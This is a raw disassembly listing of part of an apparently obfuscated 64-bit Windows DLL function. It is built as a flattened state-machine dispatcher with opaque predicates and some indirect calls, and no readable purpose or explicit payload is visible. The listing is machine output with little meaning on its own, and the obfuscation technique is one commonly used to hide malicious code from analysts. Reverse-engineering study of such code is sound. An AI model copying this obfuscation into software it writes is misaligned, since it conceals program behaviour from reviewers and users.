cmp eax, 0xe962cba2
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x56888e27
mov eax, 0xcdf19092
jmp 0x18003f040
cmp eax, 0x28ccf053
jle 0x18004179d
cmp eax, 0x2ab35dfc
jg 0x180042581
cmp eax, 0x28ccf054
je 0x1800432a0
mov ecx, eax
cmp eax, 0x28e70d13
jne 0x18003f04d
mov ecx, 0x787cee17
jmp 0x18003f04d
cmp eax, 0xa63426f0
jle 0x1800417de
cmp eax, 0xa6bee4d0
jg 0x1800425b7
cmp eax, 0xa63426f1
je 0x1800432be
mov ecx, eax
cmp eax, 0xa68b3088
jne 0x18003f04d
mov ecx, 0x89039fd4
jmp 0x18003f04d
cmp eax, 0x62ed0810
jle 0x18004187a
cmp eax, 0x638d904a
jg 0x1800425d9
cmp eax, 0x62ed0811
je 0x1800432c8
mov ecx, eax
cmp eax, 0x63438424
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x170e5927
mov eax, 0x9e2ca81
jmp 0x18003f040
cmp eax, 0xd6b1a906
jle 0x1800418bb
cmp eax, 0xd85012dd
jg 0x1800425fe
cmp eax, 0xd6b1a907
je 0x1800432f8
mov ecx, eax
cmp eax, 0xd6b48e50
jne 0x18003f04d
mov eax, dword [0x1800b0188]
mov ecx, dword [0x1800b018c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete r8b
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov eax, ecx
xor al, r8b
or bl, r8b
and bl, al
and dl, cl
and cl, r8b
xor cl, dl
xor cl, bl
mov ecx, 0xe4083483
mov eax, 0x210999bb
cmovne ecx, eax
jmp 0x18003f04d
cmp eax, 0x1b796d14
jle 0x1800418e8
cmp eax, 0x1c56333d
jg 0x180042634
cmp eax, 0x1b796d15
je 0x180043316
mov ecx, eax
cmp eax, 0x1c4c7e44
jne 0x18003f04d
mov ecx, 0xd8f4a595
jmp 0x18003f04d
cmp eax, 0x98725fbd
jle 0x180041915
cmp eax, 0x99517fd6
jg 0x180042656
cmp eax, 0x98725fbe
je 0x18004332c
mov ecx, eax
cmp eax, 0x993e4456
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xfc2e10e9
mov eax, 0x2d6fa011
jmp 0x18003f040
cmp eax, 0x54cc28bf
jg 0x180042678
cmp eax, 0x52ca8552
je 0x18004334a
mov ecx, eax
cmp eax, 0x5412b806
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xab43e3d8
mov eax, 0x3a11c6e9
jmp 0x18003f040
cmp eax, 0xfc1da250
jg 0x1800426ae
cmp eax, 0xfa0f3736
je 0x180043354
mov ecx, eax
cmp eax, 0xfbaf9dd3
jne 0x18003f04d
mov ecx, 0x379c274
jmp 0x18003f04d
cmp eax, 0x3b2ad33e
jg 0x1800426d0
cmp eax, 0x3a11c6e9
je 0x1800433dd
mov ecx, eax
cmp eax, 0x3acadd10
jne 0x18003f04d
mov ecx, 0xcc4ba6d3
jmp 0x18003f04d
cmp eax, 0xbc4c6013
jg 0x1800426f2
cmp eax, 0xbafa1dac
je 0x1800433fb
mov ecx, eax
cmp eax, 0xbb50f628
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xf5b12727
mov eax, 0xcfd4d7b5
cmovne ecx, eax
cmp dword [0x1800b018c], 9
mov eax, 0xf5b12727
cmovle ecx, eax
jmp 0x18003f04d
cmp eax, 0x76de13b4
jg 0x1800427af
cmp eax, 0x758a86e5
je 0x180043405
mov ecx, eax
cmp eax, 0x75e29a1d
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x316e0b11
mov eax, 0x5058ebe6
jmp 0x18003f040
cmp eax, 0xcf11f0d6
jg 0x1800427e5
cmp eax, 0xce861e1a
je 0x180043423
mov ecx, eax
cmp eax, 0xceaed480
jne 0x18003f04d
mov rax, qword [rbp + 0x10]
mov rcx, qword [0x1800301b0]
mov qword [rax], rcx
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp + 0x10]
mov rcx, qword [rbp - 0x10]
sub rsp, 0x20
call rax
add rsp, 0x20
mov ecx, 0x3d1bc43e
jmp 0x18003f04d
cmp eax, 0x16569f11
jg 0x18004281b
cmp eax, 0x1489711d
je 0x180043470
mov ecx, eax
cmp eax, 0x161ce197
jne 0x18003f04d
mov eax, dword [0x1800b0188]
mov ecx, dword [0x1800b018c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete r8b
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and cl, r8b
mov eax, ebx
xor al, r8b
or dl, bl
and dl, al
xor dl, cl
xor dl, al
or dl, al
and bl, r8b
xor bl, dl
test bl, 1
mov ecx, 0xeb22e264
mov eax, 0xa020b476
cmovne ecx, eax
jmp 0x18003f04d
cmp eax, 0x8f7dc6f8
jg 0x18004283d
cmp eax, 0x8cf00822
je 0x18004347a
mov ecx, eax
cmp eax, 0x8ef08041
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x16e030b3
mov eax, 0xec75570e
jmp 0x18003f040
cmp eax, 0x4dc0cc94
jg 0x180042920
cmp eax, 0x4c163768
je 0x180043484
mov ecx, eax
cmp eax, 0x4c6e83a6
jne 0x18003f04d
mov ecx, 0x92442a46
jmp 0x18003f04d
cmp eax, 0xf5b12726
jg 0x180042956
cmp eax, 0xf14156db
je 0x1800434a2
mov ecx, eax
cmp eax, 0xf1aac56e
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x4332d2e1
mov eax, 0x8698ba93
jmp 0x18003f040
cmp eax, 0x312670a8
jg 0x18004298c
cmp eax, 0x30ae0200
je 0x1800434d2
mov ecx, eax
cmp eax, 0x30bfd3ec
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
mov ecx, 0x2828d2ed
mov ebx, 0x8fc366ca
jmp 0x18004431c
cmp eax, 0xb46ad9ef
jg 0x1800429ae
cmp eax, 0xb1cea29e
je 0x1800434f0
mov ecx, eax
cmp eax, 0xb29b945a
jne 0x18003f04d
mov rbx, qword [rbp]
sub rsp, 0x20
mov edx, 0x200
mov rcx, rbx
mov r8, r12
mov r9d, 0x46601
call fcn.180044ff0
xor ecx, ecx
mov rdx, rbx
mov r8d, 0x104
call r14
mov edx, 0x200
mov rcx, rbx
call fcn.180051ec0
add rsp, 0x20
mov rdx, qword [rbp - 8]
sub rsp, 0x20
mov rcx, rbx
call fcn.1800452d0
add rsp, 0x20
mov ecx, 0x3df99694
jmp 0x18003f04d
cmp eax, 0x6d94f12c
jg 0x1800429d0
cmp eax, 0x6c244db8
je 0x1800434fa
mov ecx, eax
cmp eax, 0x6c36a256
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x512ea901
mov eax, 0x2ad5995c
jmp 0x18003f040
cmp eax, 0xe2654c63
jg 0x180042a06
cmp eax, 0xe1041810
je 0x180043518
mov ecx, eax
cmp eax, 0xe17c88c3
jne 0x18003f04d
mov ecx, dword [0x1800b0188]
mov edi, dword [0x1800b018c]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
sete r8b
cmp edi, 9
setg bl
cmp edi, 0xa
setl al
mov ecx, eax
and cl, dl
xor al, r8b
or bl, r8b
and bl, al
xor bl, cl
xor al, bl
mov eax, 0x40e9f884
mov esi, 0xa06a3eee
cmovne eax, esi
test bl, bl
cmovne eax, esi
test edx, edx
jmp 0x180044574
cmp eax, 0x2303c8ac
jg 0x180042a79
cmp eax, 0x227a3c08
je 0x180043536
mov ecx, eax
cmp eax, 0x22b8ce8c
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x37dfe2c3
mov eax, 0x949ce76
jmp 0x18003f040
cmp eax, 0x9feed319
jg 0x180042aaf
cmp eax, 0x9e893f43
je 0x180043571
mov ecx, eax
cmp eax, 0x9eeb8446
jne 0x18003f04d
mov ecx, 0xf38b6b1
jmp 0x18003f04d
cmp eax, 0x5e45ae58
jg 0x180042ad1
cmp eax, 0x5cab699d
je 0x18004357b
mov ecx, eax
cmp eax, 0x5d0c500c
jne 0x18003f04d
mov eax, dword [0x1800b0188]
mov ecx, dword [0x1800b018c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp ecx, 9
setg dl
cmp ecx, 0xa
setl cl
mov ebx, ecx
and bl, al
xor cl, al
or dl, al
xor cl, 1
and cl, dl
mov eax, ebx
xor al, cl
mov eax, 0x9b217ec8
mov edx, 0x2fca7ffa
cmovne eax, edx
test cl, cl
mov ecx, 0x9b217ec8
cmovne ecx, eax
test bl, bl
cmove ecx, eax
jmp 0x18003f04d
cmp eax, 0x530910a
jg 0x180042af3
cmp eax, 0x379c274
je 0x180043599
mov ecx, eax
cmp eax, 0x51d575c
jne 0x18003f04d
mov eax, dword [0x1800b0188]
mov ecx, dword [0x1800b018c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp ecx, 0xa
setl bl
xor bl, al
mov eax, 0x2b4f87f3
mov ebx, 0x673a7127
jmp 0x180042d0d
cmp eax, 0x41f4397d
jg 0x180042b15
cmp eax, 0x41361cf6
je 0x1800435b7
mov ecx, eax
cmp eax, 0x4178fb80
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x6678d744
mov eax, 0xf62acc54
jmp 0x18003f040
cmp eax, 0xc1a38c85
jg 0x180042b37
cmp eax, 0xc0c3713c
je 0x1800435c1
mov ecx, eax
cmp eax, 0xc146337d
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x2691b002
mov eax, 0xac0ceb10
jmp 0x18003f040
cmp eax, 0x7e5144b6
jg 0x180042b6d
cmp eax, 0x7d7189ac
je 0x1800435df
mov ecx, eax
cmp eax, 0x7d9323ef
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x9aec999a
mov eax, 0xc3d4e480
jmp 0x18003f040
cmp eax, 0xc64244cc
jg 0x180042ba8
cmp eax, 0xc5919ae2
je 0x1800435fd
mov ecx, eax
cmp eax, 0xc5cf9d7d
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xf8126e68
mov eax, 0x64b36b1a
jmp 0x18003f040
cmp eax, 0x5cefe86
je 0x180043607
cmp eax, 0x65c033e
je 0x180043611
mov ecx, eax
cmp eax, 0x74e71bc
jne 0x18003f04d
mov ecx, 0x1230fb44
jmp 0x18003f04d
cmp eax, 0x800d2cc0
je 0x18004361b
cmp eax, 0x8020ef23
je 0x180043639
mov ecx, eax
cmp eax, 0x811bb5b5
jne 0x18003f04d
mov ecx, 0x30ae0200
jmp 0x18003f04d
cmp eax, 0x42ff1334
je 0x180043657
cmp eax, 0x4332d2e1
je 0x1800436b2
mov ecx, eax
cmp eax, 0x43399bfd
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xb8efcc58
mov eax, 0xc7650563
jmp 0x18003f040
cmp eax, 0xe3d42a64
je 0x1800436d0
cmp eax, 0xe3f1ac5e
je 0x18004373f
mov ecx, eax
cmp eax, 0xe4083483
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xa6dbcea2
mov eax, 0x800d2cc0
jmp 0x18003f040
cmp eax, 0x23ac6aac
je 0x180043797
cmp eax, 0x24a6ce34
je 0x1800437c7
mov ecx, eax
cmp eax, 0x24b7e6d6
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x4a24908a
mov eax, 0xf90c614f
jmp 0x18003f040
cmp eax, 0xa020b476
je 0x180043836
cmp eax, 0xa06a3eee
je 0x180043854
mov ecx, eax
cmp eax, 0xa1a98a8f
jne 0x18003f04d
mov ecx, 0x6f8d0f7c
jmp 0x18003f04d
cmp eax, 0x5f1f69dd
je 0x18004385e
cmp eax, 0x5f391605
je 0x180043868
mov ecx, eax
cmp eax, 0x5f609cb0
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x1ddbc5d5
mov eax, 0xe962cba2
jmp 0x18003f040
cmp eax, 0xcf50734b
je 0x180043872
cmp eax, 0xcfaa23b9
je 0x18004387c
mov ecx, eax
cmp eax, 0xcfd4d7b5
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xc1a38c86
mov eax, 0x960ef3c1
jmp 0x18003f040
cmp eax, 0x16e030b3
je 0x18004389a
cmp eax, 0x170e5927
je 0x1800438a4
mov ecx, eax
cmp eax, 0x1780e08c
jne 0x18003f04d
mov ecx, 0xe3f1ac5e
jmp 0x18003f04d
cmp eax, 0x8fc366ca
je 0x1800438ae
cmp eax, 0x9046c0b0
je 0x1800438cc
mov ecx, eax
cmp eax, 0x91251631
jne 0x18003f04d
mov ecx, 0xcdf19092
jmp 0x18003f04d
cmp eax, 0x4de7cefa
je 0x18004393d
cmp eax, 0x4dfcd854
je 0x180043947
mov ecx, eax
cmp eax, 0x4ec2df8d
jne 0x18003f04d
mov ecx, dword [0x1800b0188]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
sete r8b
cmp dword [0x1800b018c], 0xa
setl dl
mov ebx, edx
xor bl, r8b
mov ecx, edx
or cl, al
and cl, bl
and al, dl
or dl, r8b
xor dl, bl
xor bl, 1
or al, bl
mov ebx, eax
xor bl, 1
and bl, cl
xor al, cl
xor al, bl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xad28e69b
mov ebx, 0xcfd4d7b5
cmovne ecx, ebx
test al, al
mov eax, 0xad28e69b
cmove ecx, eax
jmp 0x180043eb6
cmp eax, 0xf62acc54
je 0x180043965
cmp eax, 0xf648fb23
je 0x180043983
mov ecx, eax
cmp eax, 0xf6f4bcc4
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x3c4ad2ce
mov eax, 0xb138cf3f
jmp 0x18003f040
cmp eax, 0x33291afa
je 0x1800439a1
cmp eax, 0x33685bc8
je 0x1800439ab
mov ecx, eax
cmp eax, 0x3422bd8d
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x1da8d91b
mov eax, 0xcf11f0d7
jmp 0x18003f040
cmp eax, 0xb4fc1176
je 0x180043a18
cmp eax, 0xb7cf4958
je 0x180043a48
mov ecx, eax
cmp eax, 0xb857d77b
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x548ff13
mov eax, 0xdac39c3d
jmp 0x18003f040
mov ecx, dword [rbp - 0x74]
cmp eax, 0x6f0b0f18
je 0x18003f04d
cmp eax, 0x6f328b15
je 0x180043a66
mov ecx, eax
cmp eax, 0x6f8d0f7c
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x595667ff
mov eax, 0x4adef922
jmp 0x18003f040
cmp eax, 0xc7650563
je 0x180043a84
cmp eax, 0xc7ee1c4a
je 0x180043b23
mov ecx, eax
cmp eax, 0xc80f3efc
jne 0x18003f04d
mov edx, dword [0x1800b0188]
mov edi, dword [0x1800b018c]
lea ecx, [rdx - 1]
imul ecx, edx
and ecx, 1
sete r8b
cmp edi, 9
setg r9b
cmp edi, 0xa
setl al
mov edx, ecx
and dl, al
xor al, r8b
mov ebx, eax
xor bl, 1
or dl, bl
or r9b, r8b
xor dl, r9b
mov ebx, 0x7d9323ef
mov esi, 0xe77f6f66
cmovne ebx, esi
test al, al
mov eax, 0xe77f6f66
cmovne eax, ebx
test r9b, r9b
cmove eax, ebx
test dl, dl
mov edx, 0x7d9323ef
jmp 0x180043a09
cmp eax, 0xed4e4d9
je 0x180043b86
cmp eax, 0xf34b922
je 0x180043b90
mov ecx, eax
cmp eax, 0xf38b6b1
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x9eeb8446
mov eax, 0x6115d982
jmp 0x18003f040
cmp eax, 0x87375904
je 0x180043b9a
cmp eax, 0x876c25ce
je 0x180043bb8
mov ecx, eax
cmp eax, 0x87afdf43
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1800b018c], 0xa
setl dl
mov ebx, edx
xor bl, al
mov ecx, edx
or cl, al
xor cl, bl
and dl, al
mov eax, edx
xor al, cl
mov eax, 0xcf3405e2
mov edi, 0x42829916
cmovne eax, edi
test cl, cl
mov ecx, 0xcf3405e2
cmovne eax, ecx
test dl, dl
cmove eax, edi
test bl, bl
cmovne eax, ecx
mov ecx, eax
jmp 0x18003f04d
cmp eax, 0x48a6fea0
je 0x180043bc2
cmp eax, 0x48b11cb4
je 0x180043c67
mov ecx, eax
cmp eax, 0x48bbe2e3
jne 0x18003f04d
mov ecx, 0xeb928b73
jmp 0x18003f04d
cmp eax, 0xeb1c6539
je 0x180043c85
cmp eax, 0xeb22e264
je 0x180043ca3
mov ecx, eax
cmp eax, 0xeb928b73
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x6f328b15
mov eax, 0x48bbe2e3
cmovne ecx, eax
cmp dword [0x1800b018c], 9
mov eax, 0x6f328b15
cmovle ecx, eax
jmp 0x18003f04d
cmp eax, 0x2b36a98b
je 0x180043d0c
cmp eax, 0x2b4f87f3
je 0x180043d2a
mov ecx, eax
cmp eax, 0x2b7843b7
jne 0x18003f04d
mov r15d, 1
mov ecx, 0x61537acd
jmp 0x18003f04d
cmp eax, 0xa6fc2a23
je 0x180043d34
cmp eax, 0xa860df97
je 0x180043d52
mov ecx, eax
cmp eax, 0xa8b18d39
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x99819ff5
mov eax, 0x69659317
jmp 0x18003f040
cmp eax, 0x65e044d6
je 0x180043d70
cmp eax, 0x65e089b6
je 0x180043d7a
mov ecx, eax
cmp eax, 0x66352d74
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x51fd439b
mov eax, 0xbe1fe1bd
jmp 0x18003f040
cmp eax, 0xd93bdde0
je 0x180043d84
cmp eax, 0xd9a81355
je 0x180043da2
mov ecx, eax
cmp eax, 0xd9be2bee
jne 0x18003f04d
mov eax, dword [0x1800b0188]
mov ecx, dword [0x1800b018c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp ecx, 9
setg dl
cmp ecx, 0xa
setl bl
mov ecx, ebx
xor cl, al
or dl, al
xor cl, 1
and cl, dl
and bl, al
mov eax, ecx
xor al, 1
and al, bl
xor bl, cl
xor bl, al
mov ecx, 0x4dc4e86f
mov eax, 0xf8c293cb
cmovne ecx, eax
jmp 0x18003f04d
cmp eax, 0x1d476e11
je 0x180043dec
cmp eax, 0x1d683d3e
je 0x180043e37
mov ecx, eax
cmp eax, 0x1da8d91b
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x65c033e
mov eax, 0xe3d42a64
jmp 0x18003f040
cmp eax, 0x9970e9ee
je 0x180043e41
cmp eax, 0x99819ff5
je 0x180043e71
mov ecx, eax
cmp eax, 0x999c230a
jne 0x18003f04d
mov ecx, 0xc7650563
jmp 0x18003f04d
cmp eax, 0x578da14e
je 0x180043e7b
cmp eax, 0x586215e7
je 0x180043e85
mov ecx, eax
cmp eax, 0x58c5aa95
jne 0x18003f04d
mov eax, dword [0x1800b0188]
mov ecx, dword [0x1800b018c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp ecx, 9
setg dl
cmp ecx, 0xa
setl cl
mov ebx, ecx
xor bl, al
xor bl, 1
or dl, al
and dl, bl
and cl, al
mov eax, edx
xor al, 1
and al, cl
xor cl, dl
xor cl, al
mov ecx, 0x309ea79f
mov eax, 0x74e71bc
cmovne ecx, eax
jmp 0x18003f04d
cmp eax, 0xfc5352d9
je 0x180043ec0
cmp eax, 0xfcaeafc2
je 0x180043ede
mov ecx, eax
cmp eax, 0xfd161007
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xc7ee1c4a
mov eax, 0xc146337d
jmp 0x18003f040
cmp eax, 0x3b91c3fe
je 0x180043efc
cmp eax, 0x3c4ad2ce
je 0x180043f1a
mov ecx, eax
cmp eax, 0x3cc0ca1f
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xafe41c72
mov eax, 0x93469b5c
jmp 0x18003f040
cmp eax, 0xbcdfd175
je 0x180043f24
cmp eax, 0xbd3c1c7d
je 0x180043f73
mov ecx, eax
cmp eax, 0xbd9d816a
jne 0x18003f04d
mov ecx, 0x8ccd7408
jmp 0x18003f04d
cmp eax, 0x787cee17
je 0x180043f91
cmp eax, 0x78d96f53
je 0x180043faf
mov ecx, eax
cmp eax, 0x79045ad2
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x36110a60
mov eax, 0x87afdf43
jmp 0x18003f040
cmp eax, 0xc1b95796
je 0x180043fcd
cmp eax, 0xc1ccf2b0
je 0x180044020
mov ecx, eax
cmp eax, 0xc2620b8c
jne 0x18003f04d
mov ecx, 0xa6fc2a23
jmp 0x18003f04d
cmp eax, 0xbd2b674
je 0x18004402a
cmp eax, 0xc0499a8
je 0x180044048
mov ecx, eax
cmp eax, 0xc0ae616
jne 0x18003f04d
mov eax, dword [0x1800b0188]
mov edi, dword [0x1800b018c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete r8b
cmp edi, 9
setg bl
cmp edi, 0xa
setl cl
mov eax, ecx
and al, dl
xor cl, r8b
or bl, r8b
and bl, cl
xor bl, al
mov eax, 0x9feed31a
mov ebx, 0xf648fb23
jmp 0x180044d64
cmp eax, 0x84986d5c
je 0x180044052
cmp eax, 0x851e3623
je 0x18004405c
mov ecx, eax
cmp eax, 0x852ca7a9
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x772bab32
mov eax, 0x8b1e254f
cmovne ecx, eax
cmp dword [0x1800b018c], 9
mov eax, 0x772bab32
cmovle ecx, eax
jmp 0x18003f04d
cmp eax, 0x457461a7
je 0x18004407a
cmp eax, 0x45c649d7
je 0x180044084
mov ecx, eax
cmp eax, 0x463c74db
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x9957576b
mov eax, 0x5d0c500c
jmp 0x18003f040
cmp eax, 0xe77f6f66
je 0x18004408e
cmp eax, 0xe7907c0a
je 0x180044098
mov ecx, eax
cmp eax, 0xe89b387f
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x828cdad3
mov eax, 0x740af358
jmp 0x18003f040
cmp eax, 0x27b81541
je 0x1800440b6
cmp eax, 0x2828d2ed
je 0x180044234
mov ecx, eax
cmp eax, 0x289d1f15
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xfc1da251
mov eax, 0x2ab35dfd
jmp 0x18003f040
cmp eax, 0xa4ce1f13
je 0x18004423e
mov ecx, dword [rbp - 0x70]
cmp eax, 0xa549f623
je 0x18003f04d
mov ecx, eax
cmp eax, 0xa5ada531
jne 0x18003f04d
mov rbx, qword [rbp]
sub rsp, 0x20
mov edx, 0x200
mov rcx, rbx
mov r8, r12
mov r9d, 0x46601
call fcn.180044ff0
xor ecx, ecx
mov rdx, rbx
mov r8d, 0x104
call r14
mov edx, 0x200
mov rcx, rbx
call fcn.180051ec0
add rsp, 0x20
mov rdx, qword [rbp - 8]
sub rsp, 0x20
mov rcx, rbx
call fcn.1800452d0
add rsp, 0x20
test rax, rax
setne byte [rbp + 0xd]
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xe35fed1e
mov eax, 0x33685bc8
jmp 0x18003f040
cmp eax, 0x61537acd
je 0x180044280
cmp eax, 0x62ad8e74
je 0x1800442ba
mov ecx, eax
cmp eax, 0x62ea8540
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x5266e4d6
mov eax, 0x5e45ae59
jmp 0x18003f040
cmp eax, 0xd229b365
je 0x1800442d8
cmp eax, 0xd4538c21
je 0x1800442e2
mov ecx, eax
cmp eax, 0xd5e2d239
jne 0x18003f04d
mov ecx, 0xa45ffff3
jmp 0x18003f04d
cmp eax, 0x19bd973e
je 0x1800442ec
cmp eax, 0x1ad67f8d
je 0x1800442f6
mov ecx, eax
cmp eax, 0x1ae37e57
jne 0x18003f04d
mov ecx, 0x8698ba93
jmp 0x18003f04d
cmp eax, 0x94fbb36f
je 0x180044300
cmp eax, 0x960ef3c1
je 0x180044336
mov ecx, eax
cmp eax, 0x962301aa
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xa63426f1
mov eax, 0xbafa1dac
cmovne ecx, eax
cmp dword [0x1800b018c], 9
mov eax, 0xa63426f1
cmovle ecx, eax
jmp 0x18003f04d
cmp eax, 0x51fd439b
je 0x180044354
mov ecx, eax
cmp eax, 0x5266e4d6
jne 0x18003f04d
mov eax, dword [0x1800b0188]
mov ecx, dword [0x1800b018c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp ecx, 0xa
setl bl
xor bl, al
mov eax, 0x9b5dcafa
mov ebx, 0x208b352a
jmp 0x180042d0d
cmp eax, 0xf90c614f
je 0x18004435e
mov ecx, eax
cmp eax, 0xf968446e
jne 0x18003f04d
mov ecx, 0x6c244db8
jmp 0x18003f04d
cmp eax, 0x37dfe2c3
je 0x18004437c
mov ecx, eax
cmp eax, 0x3959a13a
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x680b3c93
mov eax, 0xfd161007
jmp 0x18003f040
cmp eax, 0xba6ec14c
je 0x180044386
mov ecx, eax
cmp eax, 0xbad31b37
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xd2cfe25
mov eax, 0x7ce81a5b
cmovne ecx, eax
cmp dword [0x1800b018c], 9
mov eax, 0xd2cfe25
cmovle ecx, eax
jmp 0x18003f04d
cmp eax, 0x74e172b1
je 0x1800443a4
mov ecx, eax
cmp eax, 0x74e3d414
jne 0x18003f04d
mov ecx, 0xf8cc4a59
jmp 0x18003f04d
cmp eax, 0xcd5c6cd6
je 0x1800443c2
mov ecx, eax
cmp eax, 0xcdf19092
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x56888e27
mov eax, 0xbd2b674
jmp 0x18003f040
cmp eax, 0x13e224aa
je 0x1800443e0
mov ecx, eax
cmp eax, 0x141b21c5
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xe77f6f66
mov eax, 0xc80f3efc
jmp 0x18003f040
cmp eax, 0x8c9aebb5
je 0x18004444f
mov ecx, eax
cmp eax, 0x8ccd7408
jne 0x18003f04d
mov ecx, dword [rbp - 0x6c]
jmp 0x18003f04d
cmp eax, 0x4bb84ec0
je 0x18004446d
mov ecx, eax
cmp eax, 0x4be1ce4f
jne 0x18003f04d
mov rax, qword [rbp + 0x10]
mov rcx, qword [0x1800301b0]
mov qword [rax], rcx
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp + 0x10]
mov rcx, qword [rbp - 0x10]
sub rsp, 0x20
call rax
add rsp, 0x20
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1800b018c], 0xa
setl dl
mov ebx, edx
xor bl, al
mov ecx, edx
or cl, al
xor cl, bl
and dl, al
mov eax, edx
xor al, cl
xor al, 1
or al, cl
